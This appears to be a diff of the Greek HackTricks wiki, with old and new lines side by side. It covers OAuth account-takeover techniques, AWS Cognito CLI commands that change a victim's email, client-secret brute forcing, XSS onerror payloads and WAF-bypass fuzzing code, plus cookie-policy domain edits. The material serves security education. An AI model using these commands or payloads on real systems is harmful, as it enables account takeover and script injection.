Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το γεγονός παρεμβαίνοντας στη διαδικασία εξουσιοδότησης για να συνδέσουν τον λογαριασμό τους με τον λογαριασμό ενός θύματος, οδηγώντας σε πιθανές **καταλήψεις λογαριασμών**. Αυτό είναι ιδιαίτερα κρίσιμο σε εφαρμογές όπου το OAuth χρησιμοποιείται για **σκοπούς αυθεντικοποίησης**. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το γεγονός παρεμβαίνοντας στη διαδικασία εξουσιοδότησης για να συνδέσουν τον λογαριασμό τους με τον λογαριασμό ενός θύματος, οδηγώντας σε πιθανές **καταλήψεις λογαριασμών**. Αυτό είναι ιδιαίτερα κρίσιμο σε εφαρμογές όπου το OAuth χρησιμοποιείται για **σκοπούς αυθεντικοποίησης**.
Πραγματικά παραδείγματα αυτής της ευπάθειας έχουν καταγραφεί σε διάφορες **CTF προκλήσεις** και **πλατφόρμες hacking**, αναδεικνύοντας τις πρακτικές της επιπτώσεις. Το ζήτημα επεκτείνεται επίσης σε ενσωματώσεις με υπηρεσίες τρίτων, όπως **Slack**, **Stripe**, και **PayPal**, όπου οι επιτιθέμενοι μπορούν να ανακατευθύνουν ειδοποιήσεις ή πληρωμές στους λογαριασμούς τους. Πραγματικά παραδείγματα αυτής της ευπάθειας έχουν καταγραφεί σε διάφορες **CTF προκλήσεις** και **πλατφόρμες hacking**, αναδεικνύοντας τις πρακτικές της επιπτώσεις. Το ζήτημα επεκτείνεται επίσης σε ενσωματώσεις με τρίτες υπηρεσίες όπως **Slack**, **Stripe**, και **PayPal**, όπου οι επιτιθέμενοι μπορούν να ανακατευθύνουν ειδοποιήσεις ή πληρωμές στους λογαριασμούς τους.
Η σωστή διαχείριση και επικύρωση της **`state` παραμέτρου** είναι κρίσιμη για την προστασία από CSRF και την ασφάλιση της ροής OAuth. Η σωστή διαχείριση και επικύρωση της **`state` παραμέτρου** είναι κρίσιμη για την προστασία από CSRF και την ασφάλιση της ροής OAuth.
### Προκαταλήψεις Λογαριασμού <a href="#ebe4" id="ebe4"></a> ### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν να δημιουργήσουν προληπτικά έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα χρησιμοποιήσει αργότερα μια υπηρεσία τρίτου μέρους για σύνδεση, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον λογαριασμό τρίτου μέρους με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση. 1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν προληπτικά να δημιουργήσουν έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει μια τρίτη υπηρεσία για σύνδεση, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον τρίτο λογαριασμό με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού καναλιού. 2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού διαύλου.
### Αποκάλυψη Μυστικών <a href="#e177" id="e177"></a> ### Disclosure of Secrets <a href="#e177" id="e177"></a>
Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens` χρηστών** και ιδιωτικές πληροφορίες. Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens` χρηστών** και ιδιωτικές πληροφορίες.
Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί στην πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής. Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί για την πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
### Bruteforce Client Secret ### Client Secret Bruteforce
Μπορείτε να προσπαθήσετε να **bruteforce την client_secret** ενός παρόχου υπηρεσιών με τον πάροχο ταυτότητας προκειμένου να προσπαθήσετε να κλέψετε λογαριασμούς.\ Μπορείτε να προσπαθήσετε να **bruteforce την client_secret** ενός παρόχου υπηρεσιών με τον πάροχο ταυτότητας προκειμένου να προσπαθήσετε να κλέψετε λογαριασμούς.\
Το αίτημα για BF μπορεί να μοιάζει με: Το αίτημα για BF μπορεί να μοιάζει με:
@ -114,7 +114,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### Everlasting Authorization Code ### Everlasting Authorization Code
Ο **κωδικός εξουσιοδότησης θα πρέπει να ζει μόνο για κάποιο χρονικό διάστημα για να περιορίσει το χρονικό παράθυρο όπου ένας επιτιθέμενος μπορεί να τον κλέψει και να τον χρησιμοποιήσει**. Ο **κωδικός εξουσιοδότησης θα πρέπει να ισχύει μόνο για κάποιο χρονικό διάστημα για να περιορίσει το χρονικό παράθυρο όπου ένας επιτιθέμενος μπορεί να τον κλέψει και να τον χρησιμοποιήσει**.
### Authorization/Refresh Token not bound to client ### Authorization/Refresh Token not bound to client
@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito <a href="#bda5" id="bda5"></a> ### AWS Cognito <a href="#bda5" id="bda5"></a>
Σε αυτή την αναφορά bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **token** που επιστρέφει ο **AWS Cognito** μπορεί να έχει **αρκετές άδειες για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορεί να είστε σε θέση να **αναλάβετε** άλλους λογαριασμούς. Σε αυτή την αναφορά bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) μπορείτε να δείτε ότι το **token** που επιστρέφει ο **AWS Cognito** στον χρήστη μπορεί να έχει **αρκετές άδειες για να αντικαταστήσει τα δεδομένα του χρήστη**. Επομένως, αν μπορείτε να **αλλάξετε το email του χρήστη για ένα διαφορετικό email χρήστη**, μπορεί να είστε σε θέση να **αναλάβετε** άλλους λογαριασμούς.
```bash ```bash
# Read info of the user # Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...] aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -146,7 +146,7 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Για περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το AWS cognito, ελέγξτε: Για περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το AWS cognito, ελέγξτε:
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}} {{#endref}}
### Εκμετάλλευση άλλων tokens εφαρμογών <a href="#bda5" id="bda5"></a> ### Εκμετάλλευση άλλων tokens εφαρμογών <a href="#bda5" id="bda5"></a>
@ -160,13 +160,13 @@ https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated
### Δύο σύνδεσμοι & cookie <a href="#bda5" id="bda5"></a> ### Δύο σύνδεσμοι & cookie <a href="#bda5" id="bda5"></a>
Σύμφωνα με [**αυτή τη μελέτη**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να γίνει ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον διακομιστή του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ρωτήσει** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου. Σύμφωνα με [**αυτή τη μελέτη**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να γίνει ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον διακομιστή του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ρωτούσε** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου.
Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει μια καρτέλα για να ξεκινήσει τη **ροή Oauth** που θα ρύθμιζε αυτό το cookie RU χρησιμοποιώντας το **returnUrl**, να κλείσει την καρτέλα πριν εμφανιστεί το prompt και να ανοίξει μια νέα καρτέλα χωρίς αυτή την τιμή. Στη συνέχεια, το **prompt δεν θα ενημερώσει για τον διακομιστή του επιτιθέμενου**, αλλά το cookie θα ρυθμιστεί σε αυτόν, έτσι το **token θα σταλεί στον διακομιστή του επιτιθέμενου** κατά την ανακατεύθυνση. Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει μια καρτέλα για να ξεκινήσει τη **ροή Oauth** που θα ρύθμιζε αυτό το cookie RU χρησιμοποιώντας το **returnUrl**, να κλείσει την καρτέλα πριν εμφανιστεί το prompt και να ανοίξει μια νέα καρτέλα χωρίς αυτή την τιμή. Στη συνέχεια, το **prompt δεν θα ενημερώσει για τον διακομιστή του επιτιθέμενου**, αλλά το cookie θα ρυθμιστεί σε αυτόν, έτσι το **token θα σταλεί στον διακομιστή του επιτιθέμενου** κατά την ανακατεύθυνση.
### Παράκαμψη αλληλεπίδρασης prompt <a href="#bda5" id="bda5"></a> ### Παράκαμψη αλληλεπίδρασης prompt <a href="#bda5" id="bda5"></a>
Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να υποδειχθεί η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η ερώτηση στους χρήστες να επιβεβαιώσουν** την παραχωρηθείσα πρόσβαση σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα. Όπως εξηγείται [**σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να υποδειχθεί η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η ερώτηση στους χρήστες να επιβεβαιώσουν** την παραχωρηθείσα πρόσβαση σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα.
### response_mode ### response_mode
@ -194,7 +194,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated
[**Ελέγξτε αυτή την έρευνα**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Για περισσότερες λεπτομέρειες σχετικά με αυτή την τεχνική.** [**Ελέγξτε αυτή την έρευνα**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Για περισσότερες λεπτομέρειες σχετικά με αυτή την τεχνική.**
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμος παράγοντας για ευπάθειες ασφαλείας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν. Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμη διαδρομή για ευπάθειες ασφαλείας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν.
**Κύρια Σημεία:** **Κύρια Σημεία:**

View File

@ -110,7 +110,7 @@ console.log(log) //34,39,47,96
``` ```
### **Surrogate Pairs BF** ### **Surrogate Pairs BF**
Αυτή η τεχνική δεν θα είναι πολύ χρήσιμη για το XSS, αλλά θα μπορούσε να είναι χρήσιμη για την παράκαμψη των προστασιών WAF. Αυτός ο κώδικας python δέχεται ως είσοδο 2 bytes και αναζητά ζεύγη υποκατάστασης που έχουν το πρώτο byte ως το τελευταίο byte του υψηλού ζεύγους υποκατάστασης και το τελευταίο byte ως το τελευταίο byte του χαμηλού ζεύγους υποκατάστασης. Αυτή η τεχνική δεν θα είναι πολύ χρήσιμη για XSS αλλά θα μπορούσε να είναι χρήσιμη για να παρακάμψει τις προστασίες WAF. Αυτός ο κώδικας python δέχεται ως είσοδο 2 bytes και αναζητά ζεύγη υποκατάστασης που έχουν το πρώτο byte ως το τελευταίο byte του υψηλού ζεύγους υποκατάστασης και το τελευταίο byte ως το τελευταίο byte του χαμηλού ζεύγους υποκατάστασης.
```python ```python
def unicode(findHex): def unicode(findHex):
for i in range(0,0xFFFFF): for i in range(0,0xFFFFF):
@ -121,6 +121,11 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]): if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u")) print(H.replace("0x","\\u")+L.replace("0x","\\u"))
``` ```
Περισσότερες πληροφορίες:
- [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
- [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### `javascript{}:` Πρωτόκολλο Fuzzing ### `javascript{}:` Πρωτόκολλο Fuzzing
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
@ -152,7 +157,7 @@ document.body.append(anchor)
a = document.createElement("a") a = document.createElement("a")
log = [] log = []
for (let i = 0; i <= 0x10ffff; i++) { for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz` a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") { if (a.hostname === "hacktricks.xyz") {
log.push(i) log.push(i)
} }
@ -385,7 +390,7 @@ with(element) {
<img src onerror=defaultView.alert(1337)> <img src onerror=defaultView.alert(1337)>
<img src onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)> <img src onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>
``` ```
## Σημείο διακοπής κατά την πρόσβαση στην τιμή ## Σημείο διακοπής στην πρόσβαση σε τιμή
```javascript ```javascript
// Stop when a property in sessionStorage or localStorage is set/get // Stop when a property in sessionStorage or localStorage is set/get
// via getItem or setItem functions // via getItem or setItem functions

View File

@ -1,45 +1,45 @@
# Πολιτική Cookies # Cookies Policy
Τελευταία ενημέρωση: 02/04/2023 Last updated: 02/04/2023
### Εισαγωγή ### Introduction
Αυτή η Πολιτική Cookies ισχύει για τις παρακάτω ιστοσελίδες που ανήκουν και λειτουργούν από την ομάδα HackTricks ("HackTricks", "εμείς", "μας" ή "δικό μας"): Αυτή η Πολιτική Cookies ισχύει για τις παρακάτω ιστοσελίδες που ανήκουν και λειτουργούν από την ομάδα HackTricks ("HackTricks", "εμείς", "μας" ή "μας"):
* hacktricks.xyz * hacktricks.wiki
* [www.hacktricks.xyz](http://www.hacktricks.xyz/) * [www.hacktricks.wiki](https://www.hacktricks.wiki/)
* book.hacktricks.xyz * book.hacktricks.wiki
* cloud.hacktricks.xyz * cloud.hacktricks.wiki
Χρησιμοποιώντας οποιαδήποτε από αυτές τις ιστοσελίδες, συμφωνείτε με τη χρήση cookies σύμφωνα με αυτή την Πολιτική Cookies. Εάν δεν συμφωνείτε, παρακαλώ απενεργοποιήστε τα cookies στις ρυθμίσεις του προγράμματος περιήγησής σας ή αποφύγετε να χρησιμοποιήσετε τις ιστοσελίδες μας. Χρησιμοποιώντας οποιαδήποτε από αυτές τις ιστοσελίδες, συμφωνείτε με τη χρήση cookies σύμφωνα με αυτή την Πολιτική Cookies. Εάν δεν συμφωνείτε, παρακαλούμε να απενεργοποιήσετε τα cookies στις ρυθμίσεις του προγράμματος περιήγησής σας ή να αποφύγετε τη χρήση των ιστοσελίδων μας.
### Τι είναι τα cookies; ### What are cookies?
Τα cookies είναι μικρά αρχεία κειμένου που αποθηκεύονται στον υπολογιστή ή τη φορητή συσκευή σας όταν επισκέπτεστε μια ιστοσελίδα. Χρησιμοποιούνται ευρέως για να λειτουργούν οι ιστοσελίδες, να βελτιώνουν τη λειτουργικότητά τους και να παρέχουν μια πιο εξατομικευμένη εμπειρία χρήστη. Τα cookies είναι μικρά αρχεία κειμένου που αποθηκεύονται στον υπολογιστή ή τη φορητή συσκευή σας όταν επισκέπτεστε μια ιστοσελίδα. Χρησιμοποιούνται ευρέως για να λειτουργούν οι ιστοσελίδες, να βελτιώνουν τη λειτουργικότητά τους και να παρέχουν μια πιο εξατομικευμένη εμπειρία χρήστη.
### Πώς χρησιμοποιούμε τα cookies ### How we use cookies
Χρησιμοποιούμε cookies στις ιστοσελίδες μας για τους παρακάτω σκοπούς: Χρησιμοποιούμε cookies στις ιστοσελίδες μας για τους παρακάτω σκοπούς:
1. Απαραίτητα cookies: Αυτά τα cookies είναι απαραίτητα για τη βασική λειτουργικότητα των ιστοσελίδων μας, όπως η ενεργοποίηση της αυθεντικοποίησης χρηστών, η διατήρηση της ασφάλειας και η απομνημόνευση των προτιμήσεών σας. 1. Essential cookies: Αυτά τα cookies είναι απαραίτητα για τη βασική λειτουργικότητα των ιστοσελίδων μας, όπως η ενεργοποίηση της αυθεντικοποίησης χρηστών, η διατήρηση της ασφάλειας και η απομνημόνευση των προτιμήσεών σας.
2. Cookies απόδοσης: Αυτά τα cookies μας βοηθούν να κατανοήσουμε πώς οι επισκέπτες αλληλεπιδρούν με τις ιστοσελίδες μας, συλλέγοντας και αναφέροντας πληροφορίες ανώνυμα. Αυτό μας επιτρέπει να βελτιώσουμε την απόδοση της ιστοσελίδας μας και την εμπειρία του χρήστη. 2. Performance cookies: Αυτά τα cookies μας βοηθούν να κατανοήσουμε πώς οι επισκέπτες αλληλεπιδρούν με τις ιστοσελίδες μας, συλλέγοντας και αναφέροντας πληροφορίες ανώνυμα. Αυτό μας επιτρέπει να βελτιώσουμε την απόδοση της ιστοσελίδας μας και την εμπειρία του χρήστη.
3. Cookies λειτουργικότητας: Αυτά τα cookies επιτρέπουν στις ιστοσελίδες μας να θυμούνται τις επιλογές που κάνετε, όπως η γλώσσα ή η περιοχή σας, για να παρέχουν μια πιο εξατομικευμένη εμπειρία. 3. Functionality cookies: Αυτά τα cookies επιτρέπουν στις ιστοσελίδες μας να θυμούνται τις επιλογές που κάνετε, όπως η γλώσσα ή η περιοχή σας, για να παρέχουν μια πιο εξατομικευμένη εμπειρία.
4. Cookies στόχευσης/διαφήμισης: Αυτά τα cookies χρησιμοποιούνται για την παράδοση σχετικών διαφημίσεων και επικοινωνιών μάρκετινγκ με βάση τα ενδιαφέροντά σας, το ιστορικό περιήγησης και τις αλληλεπιδράσεις σας με τις ιστοσελίδες μας. 4. Targeting/advertising cookies: Αυτά τα cookies χρησιμοποιούνται για την παράδοση σχετικών διαφημίσεων και επικοινωνιών μάρκετινγκ με βάση τα ενδιαφέροντά σας, το ιστορικό περιήγησης και τις αλληλεπιδράσεις σας με τις ιστοσελίδες μας.
Επιπλέον, οι σελίδες book.hacktricks.xyz και cloud.hacktricks.xyz φιλοξενούνται στο Gitbook. Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τα cookies του Gitbook στο [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy). Επιπλέον, οι σελίδες book.hacktricks.wiki και cloud.hacktricks.wiki φιλοξενούνται στο Gitbook. Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τα cookies του Gitbook στο [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
### Cookies τρίτων ### Third-party cookies
Εκτός από τα δικά μας cookies, μπορεί επίσης να χρησιμοποιούμε cookies τρίτων για να αναφέρουμε στατιστικά χρήσης της ιστοσελίδας, να παραδίδουμε διαφημίσεις και να ενεργοποιούμε κουμπιά κοινοποίησης στα μέσα κοινωνικής δικτύωσης. Η χρήση cookies τρίτων υπόκειται στις αντίστοιχες πολιτικές απορρήτου τους. Εκτός από τα δικά μας cookies, μπορεί επίσης να χρησιμοποιούμε cookies τρίτων για να αναφέρουμε στατιστικά χρήσης της ιστοσελίδας, να παραδίδουμε διαφημίσεις και να ενεργοποιούμε κουμπιά κοινοποίησης στα μέσα κοινωνικής δικτύωσης. Η χρήση cookies τρίτων υπόκειται στις αντίστοιχες πολιτικές απορρήτου τους.
Διαχείριση cookies Managing cookies
Οι περισσότερες εφαρμογές περιήγησης ιστού σας επιτρέπουν να διαχειρίζεστε τα cookies μέσω των ρυθμίσεών τους. Μπορείτε να επιλέξετε να αποκλείσετε, να διαγράψετε ή να περιορίσετε τη χρήση cookies στη συσκευή σας. Ωστόσο, παρακαλώ σημειώστε ότι η απενεργοποίηση των cookies μπορεί να επηρεάσει τη λειτουργικότητα και την απόδοση των ιστοσελίδων μας. Οι περισσότερες εφαρμογές περιήγησης ιστού σας επιτρέπουν να διαχειρίζεστε τα cookies μέσω των ρυθμίσεών τους. Μπορείτε να επιλέξετε να αποκλείσετε, να διαγράψετε ή να περιορίσετε τη χρήση cookies στη συσκευή σας. Ωστόσο, παρακαλούμε σημειώστε ότι η απενεργοποίηση των cookies μπορεί να επηρεάσει τη λειτουργικότητα και την απόδοση των ιστοσελίδων μας.
Αλλαγές σε αυτή την Πολιτική Cookies Changes to this Cookies Policy
Μπορεί να ενημερώνουμε αυτή την Πολιτική Cookies από καιρό σε καιρό για να αντικατοπτρίζουμε αλλαγές στις πρακτικές μας ή στους σχετικούς νόμους. Σας ενθαρρύνουμε να ελέγχετε περιοδικά αυτή τη σελίδα για τις τελευταίες πληροφορίες σχετικά με τις πρακτικές cookies μας. Μπορεί να ενημερώνουμε αυτή την Πολιτική Cookies από καιρό σε καιρό για να αντικατοπτρίζουμε αλλαγές στις πρακτικές μας ή στους σχετικούς νόμους. Σας ενθαρρύνουμε να ελέγχετε περιοδικά αυτή τη σελίδα για τις τελευταίες πληροφορίες σχετικά με τις πρακτικές cookies μας.
### Επικοινωνήστε μαζί μας ### Contact us
Εάν έχετε οποιαδήποτε ερώτηση ή ανησυχία σχετικά με αυτή την Πολιτική Cookies, παρακαλώ επικοινωνήστε μαζί μας στο [support@hacktricks.xyz](mailto:support@hacktricks.xyz) Εάν έχετε οποιαδήποτε ερώτηση ή ανησυχία σχετικά με αυτή την Πολιτική Cookies, παρακαλούμε επικοινωνήστε μαζί μας στο [support@hacktricks.xyz](mailto:support@hacktricks.xyz)

View File

@ -7,13 +7,13 @@
> [!TIP] > [!TIP]
> Αυτές είναι οι **αξίες του HackTricks Project**: > Αυτές είναι οι **αξίες του HackTricks Project**:
> >
> - Δώστε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟΥΣ πόρους hacking** σε **ΟΛΟΥΣ** στο Διαδίκτυο. > - Δώστε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚους πόρους hacking** σε **ΟΛΟΥΣ** στο Διαδίκτυο.
> - Το hacking αφορά τη μάθηση, και η μάθηση θα πρέπει να είναι όσο το δυνατόν πιο δωρεάν. > - Το hacking αφορά τη μάθηση, και η μάθηση θα πρέπει να είναι όσο το δυνατόν πιο δωρεάν.
> - Ο σκοπός αυτού του βιβλίου είναι να χρησιμεύσει ως μια ολοκληρωμένη **εκπαιδευτική πηγή**. > - Ο σκοπός αυτού του βιβλίου είναι να χρησιμεύσει ως μια ολοκληρωμένη **εκπαιδευτική πηγή**.
> - **ΑΠΟΘΗΚΕΥΣΗ** καταπληκτικών **τεχνικών hacking** που δημοσιεύει η κοινότητα δίνοντας στους **ΑΥΘΕΝΤΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **εύσημα**. > - **ΑΠΟΘΗΚΕΥΣΗ** καταπληκτικών **τεχνικών hacking** που δημοσιεύει η κοινότητα δίνοντας στους **ΑΥΘΕΝΤΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **πιστωτικά**.
> - **Δεν θέλουμε την αναγνώριση από άλλους ανθρώπους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους. > - **Δεν θέλουμε την αναγνώριση από άλλους ανθρώπους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους.
> - Γράφουμε επίσης **τις δικές μας έρευνες** στο HackTricks. > - Γράφουμε επίσης **τις δικές μας έρευνες** στο HackTricks.
> - Σε πολλές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια σύνοψη των σημαντικών μερών** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφθεί την αρχική ανάρτηση** για περισσότερες λεπτομέρειες. > - Σε πολλές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια σύνοψη των σημαντικών μερών** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφθεί την αυθεντική ανάρτηση** για περισσότερες λεπτομέρειες.
> - **ΟΡΓΑΝΩΣΗ** όλων των τεχνικών hacking στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΕΣ** > - **ΟΡΓΑΝΩΣΗ** όλων των τεχνικών hacking στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΕΣ**
> - Η ομάδα του HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μαθαίνουν πιο γρήγορα** > - Η ομάδα του HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μαθαίνουν πιο γρήγορα**
@ -57,7 +57,7 @@
author = {"HackTricks Team" or the Authors name of the specific page/trick}, author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page}, title = {Title of the Specific Page},
